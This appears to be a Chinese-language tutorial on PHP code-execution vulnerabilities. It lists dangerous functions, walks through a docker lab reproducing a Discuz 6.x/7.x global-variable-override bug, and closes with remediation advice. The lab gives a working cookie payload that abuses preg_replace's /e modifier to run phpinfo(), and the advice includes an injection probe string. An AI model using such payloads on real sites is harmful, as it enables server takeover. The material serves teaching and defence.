漏洞简述
应用程序在调用一些能够将字符串转换为代码的函数时,如PHP中的eval(),没有考虑用户是否控制这个字符串,造成的代码执行漏洞。
命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令
可以执行代码、系统命令进行读写文件、反弹shell等操作,拿下服务器,进一步内网渗透等等。
代码执行:eval,pregreplace+/e,assert,calluserfunc,calluserfuncarray,create_function
命令执行:
system(), exec(), shellexec(), passthru() ,pcntlexec(), popen(),proc_open()
文件读取:
filegetcontents(),highlightfile(),fopen(),read file(),fread(),fgetss(), fgets(),parseinifile(),showsource(),file()等
漏洞实例
Discuz 7.x/6.x 全局变量防御绕过导致代码执行
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
cd discuz/wooyun-2010-080723/ 进到靶机环境目录
service docker start 启动docker
docker-compose up -d 构建环境
启动好后,访问http://your-ip:8080/install/ 来安装discuz
数据库地址填写db,数据库名为discuz,数据库账号密码均为root
安装好后随便访问个帖子,并抓包。
把cookie进行替换
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
漏洞修复
代码执行漏洞修复
1 能使用json 保存数组、对象就使用json,不要将php对象保存成字符串,否则读取的时候需要使用eval。将字符串转化为对象的过程其实是将数据转化为代码的过程,这个过程很容易出现漏洞,像php的unserialize 导致代码执行、struts2的ognl 命令执行等漏洞都是这个过程导致的。
2 对于必须使用eval 的情况,一定要保证用户不能轻易接触eval 的参数(或用正则严格判断输入的数据格式)。对于字符串,一定要使用单引号包裹可控代码,并再插入前进行addslashes,这样就无法闭合单引号,又因为不是双引号包裹,故不能执行 ${} 。
evil('${phpinfo()}')、evil("phpinfo()") 等都不会执行, evil("${phpinfo()}")、evil(phpinfo())、evil(${@phpinfo()}) 都可以执行,因为双引号里面内容会被当作变量解析一次,函数前加 @ 表示执行函数时不报错。
$data = addslashes($data);eval("\$data = deal('$data');");
3 放弃使用preg_replace 的e修饰符,而换用 preg_replace_callback 替代。如果非要使用preg_replace的e模式的话,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。
4 确保register_globals = off, 若不能自定义php.ini,则应该在代码中控制;其次,熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源;最后,养成初始化变量的好习惯。
5 能够往本地写入的函数都需要重点关注,如 file_put_contents(), fwrite(), fputs() 等。
6 在自动化漏洞检测中可以 直接带入类似 ";print(md5(test));$a=" ,匹配返回页面是否有 md5 字符串。